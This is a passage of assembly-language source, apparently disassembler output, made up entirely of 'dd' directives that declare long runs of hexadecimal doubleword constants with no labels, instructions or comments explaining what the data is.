		dd 0EB3C72BFh, 6FA4141h, 0C5E0FBC0h, 0F1FFC04Fh, 3EED31B3h
		dd 22D6FEA0h, 15F600Ah,	890BBEF9h, 0FBC7E8EAh, 4985BCB8h
		dd 0D56BF70Fh, 9669910h, 9825DF3Dh, 0F75D267Eh,	479A13CDh
		dd 1880EEFBh, 245DEACBh, 1D5B40F5h, 0AD013815h,	0F4E9D889h
		dd 574F8018h, 976EAEBFh, 0AC46CD15h, 50042B0Dh,	410BF347h
		dd 0A7FF098Ah, 0D3FCE594h, 0C2B3F8BAh, 22495A9Fh, 2465F92Ah
		dd 74C12F45h, 97C05858h, 0C68EE40h, 20291AE0h, 7E9DE83Ch
		dd 38F580C9h, 0C981797Fh, 1977AD09h, 99A90028h,	5043D64Ah
		dd 3D61AA41h, 0E558689Fh, 0BA363505h, 0E5178739h, 590807EEh
		dd 560572C1h, 5E60B570h, 5B55A91Eh, 5F0CC070h, 52F130Bh
		dd 0CAA4039Ch, 0F8F1E905h, 0FBC28140h, 359FD516h, 17ACD089h
		dd 18144F79h, 7D66C04h,	86F4C521h, 13D2B4BCh, 7A3AA10Fh
		dd 8BDFC2E2h, 50986F29h, 4F02BB53h, 0F7500E78h,	543EC2D3h
		dd 57762713h, 0B0C8B6D8h, 0B25198A3h, 79F8BDF8h, 43C0B95Eh
		dd 0CF6814Eh, 6E7E6274h, 1460432Ah, 0D1B9661Ah,	0B641E930h
		dd 0B82F71D8h, 2B36C734h, 0D4EF51E5h, 0CDB7E03Bh, 0E42B5441h
		dd 0C92453EAh, 0D6026F0Eh, 56EE295Ah, 34DF88A0h, 0CD71AA28h
		dd 6FF27D1Fh, 108FE009h, 802519DFh, 4E121ABFh, 91043092h
		dd 0FC126B60h, 345A78D9h, 61BE9000h, 95380A41h,	1E66280Fh
		dd 263AAC3Bh, 29128E73h, 5792EFF1h, 80916720h, 0B8944F44h
		dd 0A2C5F30h, 791349E9h, 0A3169C4Eh, 1BACE75Fh,	4CAB8EC9h
		dd 0C16235E5h, 0F57460EDh, 0C33A1614h, 0DDCEC03h, 8E7DCE35h
		dd 5E0836A0h, 0E9042C5Dh, 5D004C5Ah, 0D97C7FB9h, 1DEEC111h
		dd 2E06E141h, 9C9020C9h, 0B5510BFDh, 9680DF90h,	0EA2873F5h
		dd 7835DCA1h, 7FBA02DCh, 0F46CA02Bh, 2009281Ch,	560D41F2h
		dd 0E8500DBEh, 35069040h, 4B26B893h, 5E27012Ch,	6C14FE68h
		dd 0F490D74Bh, 0B0C9B850h, 14704B82h, 6A48C917h, 0B8DF2216h
		dd 7A42E4FEh, 0A9B920E9h, 82C15E0Dh, 3E7068FDh,	7C50855h
		dd 2B4D163Dh, 491270AFh, 445F8816h, 20E94E3Ch, 0AC092A1Fh
		dd 0FD6B5E68h, 9D02271Ah, 0E441FEC8h, 54BC520Eh, 2BC1FA41h
		dd 0AAE655D0h, 9FEC7B61h, 290BAAD2h, 0C1D71BDBh, 0C87C57C5h
		dd 66A9A87Ah, 7FF42C68h, 0EE105Ah, 82916B8h, 1DE8C15Dh
		dd 6D14005h, 0A537E168h, 6F01B730h, 305783C5h, 9C0C73D8h
		dd 547F7013h, 46EDF9F9h, 14810C08h, 3FD53258h, 7E31CF33h
		dd 166FB168h, 0FB38AE2Ah, 3ABC2968h, 57508BECh,	0B7D9FF84h
		dd 0FBE84BE0h, 8A8B4Bh,	3CA650B3h, 0BE37FF68h, 18CD6258h
		dd 3FDD0500h, 0A751Dh, 0FBF639Dh, 0B979B62Dh, 0FCA6614Fh
		dd 0B2FBF95Eh, 1766FD5Ch, 80CBB120h, 643E7BA3h,	0D85F4B27h
		dd 21904FB8h, 0C18E5D1Eh, 0BC80FDA7h, 28E512F6h, 0E0354802h
		dd 0D81EDD61h, 56AC80EFh, 530A0A55h, 20C2FD01h,	0FA8D8108h
		dd 0CCD1264h, 1A7C1282h, 202D5732h, 493E60A6h, 2D885C44h
		dd 3146E82Fh, 52B3029Dh, 0A8718868h, 2512EB03h,	0D301B1E5h
		dd 813CE44h, 29F6050Dh,	0C8102137h, 88E91747h, 0DABD3DC0h
		dd 61313740h, 0A370409Ah, 512DE93Dh, 0DFB97FDDh, 3BC2B14h
		dd 0AFCB0CC4h, 9FF7FB8Ch, 5BDE04E8h, 0F124C0B8h, 0DB5A075Eh
		dd 0FFEBCF85h, 7F5239FCh, 11A01371h, 8709E916h,	443380B4h
		dd 0C59F3438h, 0A4E98485h, 0EE02AF1Fh, 7C5307E2h, 0BAC95253h
		dd 0E1E80592h, 0F28A005Ah, 19A46730h, 7F90EEB2h, 0A077C60Bh
		dd 5E048173h, 0AC61E883h, 680281FEh, 486E764Ch,	92C65ECh
		dd 9A03CA16h, 0E919B7C2h, 0E37FF16Eh, 29AFD26Eh, 0D66B2D5Eh
		dd 45E98D20h, 9B5B95CAh, 0F7C2DABEh, 550EE8A1h,	7CA90B68h
		dd 70005885h, 724895EDh, 0A8D06960h, 9F2A9E2Dh,	0CE0554F2h
		dd 3A576BB7h, 6ED9D000h, 2BE90878h, 935FD8Fh, 0E0615343h
		dd 0E1163401h, 25A7A602h, 7599CE9h, 0D4086250h,	0CB4FE854h
		dd 0BE83A30Fh, 5073800Eh, 5EF31631h, 91060456h,	0C466FCC6h
		dd 0F600FAF7h, 4450CD0h, 0BB9DF1EBh, 0B1762E10h, 76D24713h
		dd 5D87F72Bh, 25BEFF31h, 79B32700h, 0C0F6E380h,	4B06EB2Fh
		dd 480CCB02h, 963EEE0Dh, 0E4E0CD1Fh, 0EB300BEFh, 92DC8C04h
		dd 0E3CC5C71h, 245C5A95h, 891CD37Fh, 0ABF507EBh, 0C69700F2h
		dd 4EDEE98Bh, 2DF2A384h, 75298B94h, 99A01C67h, 74AC5425h
		dd 0CEFE62EAh, 0ADC9A0Ch, 69196853h, 0DD91C293h, 0C0C1FE01h
		dd 0F180BA40h, 0ED3EE1E6h, 1062713h, 0BF575B70h, 829B252Ah
		dd 1A40FD3Bh, 0CDA8BE15h, 0C9484F1Eh, 0D1CD405Dh, 0E3C1EB09h
		dd 598DD407h, 0EB254001h, 899F70E9h, 55475511h,	0CEA5768Bh
		dd 9A7E9FCAh, 0F031E941h, 8CD0BC2Fh, 13980981h,	0E242C964h
		dd 0FAE25B15h, 0AD81ABE6h, 58853E2Bh, 268EF6ABh, 6843C129h
		dd 0D9AAF476h, 94682064h, 50814113h, 6E090E17h,	605E76EAh
		dd 72D36E6Dh, 6BB0424Bh, 0AF7E25BFh, 6FD3A1C2h,	1126308h
		dd 935C50BDh, 5D7E962Ah, 0A8A81B13h, 56C8E04Bh,	0FE606AF0h
		dd 4032462h, 0CB2C512Bh, 0E4D32A8Ch, 0A9DE5C1Ah, 12C83E4Ch
		dd 0B3531252h, 9E6D0412h, 0B5CDC188h, 5AF5C07Fh, 0E92DECE0h
		dd 7DA2C2A6h, 664FBB1Ch, 17D4F3BCh, 73233100h, 0CEF812Fh
		dd 0B98A3E8h, 22BA534Ah, 6E544B57h, 560481A0h, 7226843h
		dd 0B9F4B5CDh, 0AF2A4ABFh, 76759107h, 0CF131A2h, 0A732E938h
		dd 68EA0A85h, 80FD5D96h
		dd 73EDEB87h, 9B40812Bh, 2820CD92h, 9E6305ACh, 0D1EFE96Ch
		dd 20E33067h, 0B3F4D3E7h, 3DEB49h, 7D0999F3h, 28DA01A6h
		dd 20B75D5Bh, 14D8CF29h, 18157FC4h, 1E5B0E42h, 3FC0AE35h
		dd 3943C7C3h, 6CF69E11h, 0C4927B24h, 410E6812h,	0D95ED161h
		dd 1C061405h, 0A8A9D79Eh, 0AAE85A07h, 0D25F31ACh, 20E912D1h
		dd 68097A2Ch, 967D183Bh, 388BA0B7h, 80EF4B60h, 275F1D16h
		dd 4E0C3360h, 2F3E1B77h, 1F6FAE9h, 0F7C71E89h, 0ECFF6AE6h
		dd 64A9CA44h, 842FDD68h, 1053B31h, 481821A3h, 0A6FB1D09h
		dd 164BFCB6h, 0CCE924D0h, 0F012B8A0h, 0D84C0266h, 0C560262Ch
		dd 0E53980A1h, 91ED876Eh, 0AB2A62E9h, 6140758Eh, 0F5315E3Ch
		dd 4C69DFCEh, 48AADC81h, 0E972F804h, 39B4860Eh,	37190092h
		dd 6568BA1Ch, 312B3FD7h, 5025DCC2h, 30F895D8h, 4897CA05h
		dd 0C722FDh, 0A5E2AF0h,	0F8298001h, 33B95107h, 127FA161h
		dd 0ECF87B1Ah, 1B2021A4h, 5EE3A7B9h, 71AC58A0h,	0F489C5Ch
		dd 417D40CEh, 8EEC126h,	6A030698h, 0D5272DD4h, 0CB717839h
		dd 2EE63DC0h, 2CA3E520h, 274FD701h, 12AA7D52h, 500B2FC7h
		dd 0BE0F0854h, 2F75F8A5h, 9FFEE6D4h, 6836E069h,	8C634F2Ch
		dd 5F392E8h, 3502DCB9h,	5677101Ch, 692A607Fh, 21499245h
		dd 548E2FC6h, 9ABF938Bh, 0D30C3FB1h, 39D38192h,	803B7B3Bh
		dd 48011B94h, 94BB0E02h, 7C4B4743h, 0BA583B1Bh,	8F44AF07h
		dd 0F2DEA559h, 0D892C934h, 46129F31h, 17CCFCC0h, 800F0DD3h
		dd 6DDDF7B6h, 1010E26Ah, 14BC58Eh, 0A4631A26h, 0E1F26B3Dh
		dd 130FF2CAh, 0ED171358h, 57A75069h, 23BC389Fh,	0EE59C0DCh
		dd 51D12891h, 20DADC9Dh, 0CE3B508h, 5CC25F03h, 58CDBF02h
		dd 8B124032h, 3B54A07Fh, 2EC715Eh, 74C017A4h, 0A649BFABh
		dd 69C7D29Bh, 44DCE11Eh, 4ED7AF3Dh, 0E659B586h,	0B8B802C4h
		dd 0AA4C389h, 712CF458h, 7FB8DE4Fh, 0B96B5DC4h,	0B3B77D58h
		dd 74FBF25Eh, 0D6F7438Dh, 0CDE10B4Ah, 0E9123462h, 5033A0AFh
		dd 0F7539AB5h, 8E1CB560h, 5FE10FCBh, 68041416h,	25287708h
		dd 46646180h, 72175807h, 487F7F76h, 9251F42Eh, 0BE2C132Ah
		dd 5C2F89CEh, 7F361948h, 0E915580Bh, 49D4AF02h,	1118F70Ah
		dd 4086BA52h, 0EABC5A54h, 2564C55Ah, 5C510DF4h,	0DB181E26h
		dd 0EB800A23h, 0EF061867h, 0FE1DD60Eh, 43BB0677h, 98F5C2CCh
		dd 4EAE68C4h, 5C64DC33h, 0F58982E7h, 401F4E8Ah,	82724C5Ah
		dd 4AE444FFh, 0DE06F876h, 0F902E70Bh, 81974244h, 17ACFEDCh
		dd 27916608h, 0DFA57C7Eh, 0E02F8914h, 62C8FEC6h, 54E9661Fh
		dd 0C3CDFC30h, 2D1F5C9Ah, 8B95456Ch, 4BA012C2h,	0E93E3CBEh
		dd 91C8EC2Ch, 645DD3C0h, 0C1295A23h, 118A2C0h, 992869B1h
		dd 5C9AAF92h, 0A7C38815h, 0EA02F384h, 680979DAh, 42F114D3h
		dd 29052FB7h, 0DBBF9CBFh, 524BD49Fh, 69A6D954h,	1E7FC500h
		dd 65E0C16Eh, 0F8050603h, 0EF829DA7h, 8065CF56h, 1F2D07BCh
		dd 888E4A9Fh, 0E04B0D67h, 17ABE675h, 3D60AE86h,	503ABDE9h
		dd 5F35C426h, 5148E3D5h, 1A57EEECh, 0E4D2AE95h,	7E00B3Bh
		dd 0B81D3939h, 7974B75Ch, 0E8784A58h, 32EF4F5Bh, 0A4F469CDh
		dd 6FDAFC2Fh, 35E01669h, 471349BEh, 0F8F1105Eh,	56A04128h
		dd 400247BEh, 7DE909C9h, 6488F483h, 8E380414h, 86685100h
		dd 0B1A6B81Ah, 0AF638382h, 0E2B02EAAh, 0DD6737DCh, 3F87C5CCh
		dd 9EBAF64h, 95F89B9h, 0BC30DD6Ah, 1CF0D821h, 2D106CB7h
		dd 0FBED5E54h, 277ACD08h, 0D32DE250h, 0C218D4A3h, 0C5F51CE0h
		dd 5DEA09ACh, 0D0C9ED71h, 1E8F201Fh, 0D45EE92Fh, 2BDC2DE3h
		dd 9A983058h, 94CB261Eh, 21CC3C16h, 0A0168C3Fh,	1AF9D071h
		dd 18018713h, 2ABAE681h, 803B2DD3h, 44662BB3h, 340C4B60h
		dd 9043C764h, 6B876B8Eh, 680C9B02h, 0F8C51CE9h,	46970D81h
		dd 0DB42F310h, 0C134CE01h, 0DA371B50h, 470C813Eh, 460E9C1Eh
		dd 0CED430h, 213DF95Ah,	0F3B4E9FEh, 608B2981h, 0EE54B53Ch
		dd 4625F462h, 80D37A07h, 739DC1A9h, 0DCFCAF22h,	0A8645FD2h
		dd 69398D6Eh, 25BA0FE7h, 39EF9196h, 0BC1E8B1Eh,	0C1999BDFh
		dd 0F77A32AAh, 71B016A0h, 0AFF4CBACh, 56F0B564h, 886F05B2h
		dd 0BF305AD5h, 0D03D77CBh, 50663485h, 0C8E505B0h, 2A7CDDC0h
		dd 0A7F75B04h, 9AF35E09h, 42AA1E92h, 0B96850EDh, 6E257476h
		dd 62739FD9h, 5E1A6805h, 92C4A4FCh, 0C6D1F852h,	57FCF49h
		dd 875A5EF7h, 1C8EBF3Ch, 0FD3BB04h, 320DEE32h, 0EC610DCFh
		dd 0BF939020h, 9910DCA5h, 0E2205EBh, 7010D92Ah,	0E827EA77h
		dd 32BE68EDh, 6A873B2Eh, 0C1F8F702h, 7E69BA9Ch,	0A394FBE9h
		dd 0A3974E84h, 67B17ED4h, 4C6C1260h, 7A4CBB40h,	0B82F604Eh
		dd 0FE2625BAh, 77A8CD18h, 4D1DD296h, 0D8F3ED46h, 48E5F8B4h
		dd 28A11BC5h, 17A862D3h, 28BC1A4Dh, 0EA2674C1h,	1843D3Ch
		dd 4C2D33E1h, 842BF6E9h, 4577FA7Ah, 0D5074BD2h,	0C1D0B91Ah
		dd 17353298h, 17805FF7h, 7C5FA745h, 96B7495Eh, 13A75728h
		dd 0FA2EEE1Eh, 47A398D5h, 743BE783h, 67E972F8h,	0F788C540h
		dd 0E93BFAC9h, 0ACAA7923h, 208B4E5Fh, 5A65EA73h, 0A19A6724h
		dd 0AB64317Fh, 0C01BE273h, 6A98360Dh, 0BD6AF109h, 9A61DDD0h
		dd 67F5DA05h, 0A30F897Fh, 0BFA8E510h, 96535D80h, 0F8CDCF7Ch
		dd 42E26AC9h, 5C59825Eh, 0F7A7E465h, 88914018h,	0F2ADA7DDh
		dd 0BEE6F633h, 0EAA82FD8h, 46050BDAh, 0F2E263D6h, 0D9D54827h
		dd 4CBE092Ah, 8CB1DF89h, 1665E2F7h, 3CCE986h, 7B5AB562h
		dd 2B9C392Ch, 5B555942h, 58562404h, 29C1CE9h, 9980D725h
		dd 42BD3C7Eh, 6B748C90h, 13052CC0h, 96639837h, 5D6C58D6h
		dd 7D67ED27h, 52006F96h, 0EB120CBAh, 96D0016Fh,	7160529Bh
		dd 2F057516h, 0D753E90Ch, 0EFB334BEh, 8B810C0h,	229CBD01h
		dd 5D58FA94h, 252A4A2h,	4B921837h, 0E921F201h, 8100A0AEh
		dd 481767E3h, 7004686Dh, 0A3EFD2A1h, 5B0B936Ah,	9418571Fh
		dd 0D4B17FCFh, 0E173826Dh, 6DDF2D78h, 0BB2FEC46h, 0AD91E547h
		dd 0E90411DCh, 0A6AC96CAh, 810B22DCh, 80477EC1h, 0E9D129D0h
		dd 1B02607Bh, 43108CF2h, 42313C2Fh, 0A6B6DDB1h,	43F94738h
		dd 6EEC4C10h, 66C217AEh, 2734FD50h, 0BDF9169Fh,	83C2DA59h
		dd 2696DD7Eh, 0C26CE917h, 0E9EF68BBh, 0EACD4325h, 0B689FF2Ah
		dd 0F9022F72h, 29BA3F14h, 68525FD3h, 0D4C15F4Bh, 0A62A46C3h
		dd 2CB15E1Ah, 0BF22C93Eh, 6BF58184h, 3DE97F70h,	0B83FD965h
		dd 600B96BAh, 0F18FF44Fh, 95E91002h, 2AF2B397h,	75A1033Dh
		dd 0EED141A2h, 0C9802BEFh, 0FA3978CEh, 0EAE94A09h, 0BDBCF4D7h
		dd 0C901F9D6h, 2945A369h, 698E2B4Ch, 443FE912h,	81295A23h
		dd 222A71Bh, 0D2A2575Bh, 0B3AB2h, 0F6CC880Ch, 0B42F90D4h
		dd 0F1531478h, 0F73F6804h, 0D1B6814Eh, 5FB670E8h, 180F1405h
		dd 19E09EE9h, 0CA0C5A33h, 73451327h, 0D5818E7h,	5061CF84h
		dd 255431BBh, 6A79E9h, 1AE3B938h, 0F0BD7C1Eh, 564301B5h
		dd 0C9E0EEBEh, 22F3E964h, 0D75F13D6h, 256CABEh,	5A067905h
		dd 5317C048h, 0E908A0BBh, 0E73D4EA5h, 0B1B940E1h, 48C13F40h
		dd 0D73F28EFh, 1C717h, 0F1DCEC13h, 4459E9BBh, 3CA85906h
		dd 0F4379226h, 1648DEA3h, 0F5E54A70h, 6B16AF05h, 0C9254854h
		dd 4EA5AE10h, 250B76B0h, 70FE0121h, 6F2F9F00h, 0B5555647h
		dd 0B796B650h, 5A0A512Fh, 0EB6EC1h, 0EE6D15Ah, 814ED6F7h
		dd 0E63A62A7h, 0EB127050h
		dd 8A04700Dh, 44BB5EF2h, 0A9D2E9A8h, 3EF502EAh,	6057941Eh
		dd 50E4DCADh, 0C5E88609h, 22671BBCh, 7DE10895h,	5ABC2F07h
		dd 80E4129Bh, 2FEDFB21h, 7831782Fh, 8209E4DFh, 16127B68h
		dd 6BA0B0A8h, 0C6CA230h, 4F5344F1h, 33718820h, 8277CF4Ah
		dd 547056B2h, 0E7F45015h, 8824B9B1h, 38465246h,	0EF7005BBh
		dd 3E679E7Fh, 26BC5A8Fh, 2BB98A1h, 0E80FC02Ch, 0F8B27552h
		dd 0C74452C1h, 9576E894h, 0E94109D9h, 0C27512B4h, 5CC7A31h
		dd 2D417CB2h, 42C7B6F7h, 0FE8A2D3Eh, 0BF531899h, 0CBE071BAh
		dd 0DA2D0F00h, 29786A24h, 829290D0h, 9475608h, 0E820F3E9h
		dd 2B21E705h, 57C5A9BFh, 691C9522h, 5AF33001h, 0B40F26Ah
		dd 5FD5F75Eh, 95335F24h, 4081AF2Ah, 0E4282B9Fh,	11B208C6h
		dd 2958C603h, 0E2F287D6h, 48B44ABEh, 2F174C26h,	8F716DD1h
		dd 0D5A7A062h, 80C6E7A4h, 0D929F640h, 930E6B3Fh, 0BE53A73h
		dd 0F7184878h, 2EB6548Eh, 484ED516h, 0C09013BEh, 0E7EF052Ch
		dd 0D723A625h, 51F8BD21h, 2FC06A76h, 7FBC064Fh,	806DBA7Bh
		dd 5C87E908h, 52C00FA8h, 440EF868h, 605A6325h, 4AE64B91h
		dd 2FEBC1Eh, 21E9E2D1h,	5698FF8Fh, 0DFA6B27Eh, 2AC8CA83h
		dd 0C6907C5Eh, 0EF5B95h, 9BAB3F50h, 0CC4FD3E9h,	656C68D0h
		dd 82525BDCh, 0A0E75866h, 68C15FA4h, 0CA580A52h, 41CE4E5Eh
		dd 0A416F0D7h, 89E52047h, 1904421Dh, 817ED80h, 27E9116Bh
		dd 44F19318h, 3EFBAB88h, 0DF761DADh, 5A32EB81h,	942A1CF8h
		dd 59080A4Fh, 482C038Eh, 1A172B76h, 0C8064DE0h,	803AFB29h
		dd 138B5F08h, 0A096E903h, 32E2BDF6h, 687BFE09h,	3DB6EC7Ch
		dd 1E277FF0h, 41BF2277h, 0F6BB00E2h, 2B015228h,	95BDE31h
		dd 0DB355EF7h, 2FE2020h, 29B51F0Ah, 0C4745FFDh,	3D727482h
		dd 5AF4744Ch, 0B11247D5h, 3F30E92Dh, 0B45B72FDh, 0E82C68BAh
		dd 63C0CC3Eh, 95668469h, 0C90AF150h, 0DB1A4E9Ah, 85B3E900h
		dd 5B297DC0h, 0F660AFCBh, 485A38F4h, 0C100467Fh, 0E9DEA529h
		dd 8780AA80h, 96A898DFh, 3061631h, 1BC74066h, 526FEF00h
		dd 0DF292CF9h, 16D45DE9h, 3CD19D77h, 0EBBD55C0h, 0C564481Fh
		dd 58FBED02h, 0F5415319h, 70944003h, 5139C50h, 5BBCA8E9h
		dd 2F55212Fh, 0F4C56674h, 0C6CF4EF7h, 597E6989h, 44F1264Eh
		dd 494712AFh, 8BB14EBBh, 0E94F1862h, 0A2AAA444h, 0A2578B2Ch
		dd 0E1DBF764h, 8C6FBF41h, 0F4C4DC2h, 7768A0A3h,	61EBF5Ah
		dd 96D8659Dh, 0C66CE25Fh, 45D6586h, 0A4256DC2h,	0C1908396h
		dd 4CED1703h, 0B75FA19h, 0B809530Ch, 0D0FD3F84h, 20EA7255h
		dd 1F132D48h, 0C556D832h, 34C08904h, 0ACD70EADh, 993A1C6h
		dd 59F55C02h, 6ADE005Fh, 68580B71h, 0C6140325h,	36E4F2Fh
		dd 4AABBA51h, 49D716F2h, 0F2359992h, 0C2EB0644h, 0FD80637Eh
		dd 27FB2A7h, 1FD5FCB5h,	0A89E7AFEh, 0C665810h, 0EF245375h
		dd 7772A228h, 3197BB98h, 20E18BA8h, 0FAF6114h, 0AC930583h
		dd 5DF8908Bh, 32CA3112h, 2BD07D1Eh, 58C87695h, 23F87B5Eh
		dd 80C4BA2h, 5913C41Ch,	4DCA5FB4h, 0B5680761h, 0A8E35139h
		dd 0D6B43DB8h, 1EA4BAEh, 0CD28C7Dh, 382C483Ch, 0D38B2F17h
		dd 0F5C21FA7h, 8B44C58h, 21225F6Bh, 0B0D7B787h,	97BBF84Ah
		dd 0B14EF859h, 1E48B11Ah, 36EFD180h, 707CA96Fh,	18B33B31h
		dd 993F555Eh, 0EC8EF8E9h, 0BC1D6895h, 8DB9BDBh,	5012DA66h
		dd 2F0D3A80h, 0E93D44CCh, 0CF774B24h, 3742575Ah, 5C8F261h
		dd 40265F01h, 22EC12DDh, 0EA16D385h, 0F7BE8F09h, 95E5D385h
		dd 0DC9EAFC9h, 12F2513Eh, 313E8068h, 0F3D38871h, 0E1A8DC9Bh
		dd 0CCF25B58h, 7481E92Dh, 0FBF281C6h, 20394707h, 267769B6h
		dd 0D721D612h, 0EFC3ADB2h, 2B90500Ch, 4A905D57h, 0F11C10Eh
		dd 8CE92568h, 0D8675DD4h, 7BD2EDB5h, 0CFA76057h, 116E0048h
		dd 656CB81h, 0CC0621Dh,	642D7BC5h, 9DE37BC1h, 0E1DBE8A7h
		dd 0C54015F3h, 16846BFEh, 7FE974C1h, 2832052Fh,	52F500CBh
		dd 0B15158B2h, 0F180B905h, 0C2AF3045h, 4550EB68h, 0A6856DB5h
		dd 52422FCBh, 25B447DDh, 0E557A98Bh, 467BEBD9h,	97CBE88h
		dd 45A2895Bh, 98DA7A82h, 9FC99226h, 236E038Ah, 1EEE50A5h
		dd 60088736h, 0EA4F3E20h, 0E1B65107h, 2742F63Eh, 2E198F37h
		dd 0F04A2A59h, 92E51E01h, 413F2908h, 97017EA3h,	6BE90030h
		dd 7348B707h, 51B05995h, 0D6CD9F6h, 0F445617h, 5D5A1862h
		dd 0AFCD38A6h, 590FC225h, 351D899Bh, 5FE0BB5Bh,	4895E955h
		dd 9EDE8F9Ch, 58539251h, 50EC38E9h, 0BF742501h,	2E2C4CD7h
		dd 0BEDD5060h, 4C5572A6h, 0C20CD956h, 13E228A0h, 63E35C29h
		dd 8E627202h, 8405B31h,	0A7273315h, 0AD3C979h, 3DBFC774h
		dd 4F801A2h, 1D4FF1B9h,	0C781BA89h, 36F46856h, 5E46275Dh
		dd 6CDF1A42h, 44D70CF4h, 4CCA5129h, 4EA34F14h, 86A97BA9h
		dd 2CF62EDFh, 0CABE5610h, 6D638427h, 0AF6FCA30h, 5894C9DEh
		dd 46B9027Ch, 49245171h, 0ABEA81E3h, 0BE018F76h, 21503553h
		dd 0F334E0E9h, 0B9660751h, 5157318Ah, 0FD6FE6BFh, 77162AA4h
		dd 0EB01278Bh, 0E9FF10CFh, 25126AF0h, 0D90D072Dh, 6C4E413Ah
		dd 6A258506h, 0B9519F30h, 0F12102FDh, 910FE929h, 8157EEDFh
		dd 8D2E4DD5h, 0ACBAE4F3h, 4F2FA083h, 0B04D5A19h, 0A25615D6h
		dd 3A247B5Ah, 9BD496Ah,	7E6B6454h, 511701E1h, 2B31239Ch
		dd 22564EDh, 0ED8070A1h, 59E8C0C3h, 0D868660Eh,	6E2951Dh
		dd 0BE32E952h, 30C177DFh, 310EFCC8h, 5ABE59CFh,	0C7185F25h
		dd 4CBDF646h, 37813431h, 0BF8C84AFh, 0F1FBEEC4h, 1C080695h
		dd 22659B04h, 5805213h,	9C4ABBh, 1EE8341h, 26EFCE81h, 4E697A0Ch
		dd 17A02251h, 0B13185Ah, 0C756F5C2h, 0F1F65CE1h, 16EBB27Eh
		dd 8D5FDDh, 4B2DCF6Bh, 0AAF597A2h, 0B7012ACFh, 0BD29B332h
		dd 1EA2E79Eh, 3A1EF8F5h, 8A0BE8CDh, 2005225h, 4C675642h
		dd 0C563BA04h, 3FCD24Fh, 0D95AE909h, 20164475h,	0F705E1F2h
		dd 265568F9h, 795AB644h, 2F85FBEDh, 0E6475A7Ah,	798DCDC8h
		dd 0A5DA999Dh, 5D260A7Bh, 6C5001BDh, 604B6DD2h,	9AF26234h
		dd 9821A420h, 0C1775AFBh, 3F6C2961h, 2B8191FCh,	780EEA38h
		dd 0C94A7E9h, 0EEBA2D04h, 3EED529Ch, 11B0494Fh,	5441770Ch
		dd 10FE394Fh, 0C6808FAh, 0DAE91F14h, 0AB0048EFh, 0C11CF705h
		dd 7704ED27h, 3E62D618h, 29590814h, 444D30B9h, 60AC418Bh
		dd 11676CC0h, 1AC06F6Dh, 7774CBF5h, 0C2314BE2h,	0E921B18Fh
		dd 8D6B2C4Ah, 2F67E586h, 64886DA8h, 37166885h, 52531541h
		dd 0C47BC288h, 3DFFE9h,	0B5535BC8h, 3CC72FCEh, 0DD6281BAh
		dd 97F7601h, 2379933Dh,	0A2271C90h, 0BDA29950h,	0DE7E84h
		dd 0DC284AB8h, 45EBD50h, 0E1425400h, 4AC70186h,	0D6CEA58h
		dd 3F68125Ch, 4C9EB32Ch, 0F0106C03h, 0CC6E95F4h, 0E9F5549Dh
		dd 6800A116h, 5CE84584h, 54CDE95Eh, 0B1969B39h,	0DA4909E0h
		dd 3662B25Eh, 0C26605F0h, 0C75D0383h, 3F7F3FCEh, 0BD8F551Eh
		dd 0F7273983h, 0CF8CADDh, 9F226C7Ch, 0E801F0EBh, 0ECF05FEh
		dd 0F029865Dh, 32F93F1Eh, 41F3A0D0h, 9AE06B64h,	0F9BD7D94h
		dd 16CEFA20h, 0BA3D9228h, 2F14C31Fh, 0A6872D55h, 0F31D5Fh
		dd 7B61EBB9h, 0C0F18127h, 5F625C05h, 43BEE9D1h,	19C973ACh
		dd 9D622992h, 26297077h, 0E2E35DEEh, 10B37D4h, 0C83006DFh
		dd 510A622h, 685009FDh,	899C55F2h, 639185FAh, 1284AC17h
		dd 4F4501EAh
		dd 202F213Ch, 2C1292F8h, 50EE6D93h, 5E300822h, 6B79AE2Ah
		dd 0E6001E7Dh, 110F57C1h, 12BD5546h, 0B9B305Ah,	2F505FC8h
		dd 382872F3h, 15A69373h, 0C5710E30h, 0A110A022h, 0B339FC3Bh
		dd 9FB218Bh, 78A3CA9Ch,	0DEC150E3h, 64EF05B4h, 0DCE4BFFFh
		dd 0A2862DE9h, 3A05FA69h, 9FA3B95h, 52F464D6h, 0BAC6E178h
		dd 96F3049Eh, 0FB353193h, 7548031Ah, 0ECF4D2B2h, 4F50E9F0h
		dd 0EB143590h, 0F4AECA85h, 0B041BADBh, 0F988297Fh, 557B2410h
		dd 0C0D9544Ah, 0F2EE6144h, 59E983FEh, 0F6BD03F1h, 6A3138B0h
		dd 0BAD08ADAh, 80C2FE04h, 0F6C22FCAh, 68AD0091h, 2FB6567Fh
		dd 7114BA60h, 952A796Ah, 2CF08541h, 0E8E9C5CEh,	395F25ACh
		dd 36DAF8DBh, 947C18B7h, 0BCA513D9h, 0B5C8E829h, 17A346E4h
		dd 0B016CE19h, 4A5B9ACBh, 4EDC4DA0h, 68C58C3Ah,	0F3305B31h
		dd 0BA341150h, 1D597CECh, 9283CCFEh, 0E3C8AF02h, 0F989974Eh
		dd 0EBC54707h, 0C9FEAF46h, 0ED41FB4Fh, 13251D20h, 404B8D3Bh
		dd 0FBA6E0CDh, 0CB01EC13h, 56A1D013h, 514DD3Eh,	0BD5B7F4h
		dd 0DA5FADE9h, 7622C31h, 7CB262BEh, 6AC84741h, 9FEF6024h
		dd 0A8D84A0Ah, 90944FF8h, 0E7371E17h, 0BE594930h, 0F5EE3C4Dh
		dd 7F8D0C82h, 49DD3E3Bh, 7DF4F1A4h, 0C8F1A0D3h,	7B059h
		dd 0E3F83504h, 0C5318F32h, 0C0EDE913h, 6B574ADCh, 0E920BAF7h
		dd 176A38DEh, 40D73125h, 80FCEA30h, 4727685Fh, 7575E66Bh
		dd 1FE9DD0h, 7EE95A58h,	0CC1A9523h, 0D53ACE22h,	0D06A2907h
		dd 5007C82Dh, 6C020FB8h, 61A43133h, 5935AB93h, 0FCB821AFh
		dd 0DF317F66h, 0BE061748h, 0D83AD60Bh, 6AB7046h, 0E2EBF57h
		dd 59F08ED9h, 70C58080h, 0E9E575EDh, 5B8858D4h,	80212CEEh
		dd 6636C600h, 0E90DC968h, 0B4C05B57h, 0EF69ABAEh, 2BCFA2A1h
		dd 0BFA7A052h, 3934731h, 0F0E7810Eh, 0ABFD1511h, 0BEEFE200h
		dd 7F339109h, 127BF447h, 0C09CA1D9h, 283C68AEh,	432D0392h
		dd 5033DCBEh, 0AC0E687h, 0AF704E0Dh, 3244BE19h,	3070506h
		dd 7FA2AB4Eh, 945413CBh, 77658AE2h, 3FECC549h, 0AFD6F616h
		dd 5AB11F01h, 0A630CE28h, 0CFE459DEh, 0F72584h,	731B97B9h
